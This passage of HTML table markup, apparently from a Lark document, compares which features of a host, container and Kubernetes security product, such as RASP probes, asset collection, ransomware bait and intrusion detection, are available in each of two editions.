47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">RASP 探针能力</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;K8s Audit Log 采集能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">K8s Audit Log 采集能力</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;Agent 控制面&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">Agent 控制面</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;主机状态与详情&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">主机状态与详情</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;勒索诱饵&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">勒索诱饵</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;资产采集&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">资产采集</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;高级资产采集&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">高级资产采集</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;容器集群资产采集&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">容器集群资产采集</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;暴露面与脆弱性分析&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">暴露面与脆弱性分析</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;主机/容器 基础入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">主机/容器 基础入侵检测</td><td height="36" width="272" data-sheet-value="&#34;少量样例&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 13.6px;line-height: normal;vertical-align: middle;word-break: break-word;">少量样例</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;主机/容器 行为序列入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">主机/容器 行为序列入侵检测</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;RASP 基础入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">RASP 基础入侵检测</td><td height="36" width="272" data-sheet-value="&#34;少量样例&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 13.6px;line-height: normal;vertical-align: middle;word-break: break-word;">少量样例</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;RASP 行为序列入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">RASP 行为序列入侵检测</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;K8S 基础入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-all;">K8s 基础入侵检测</td><td height="36" width="272" data-sheet-value="&#34;少量样例&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 13.6px;line-height: normal;vertical-align: middle;word-break: break-word;">少量样例</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;K8S 行为序列入侵检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-all;">K8s 行为序列入侵检测</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, 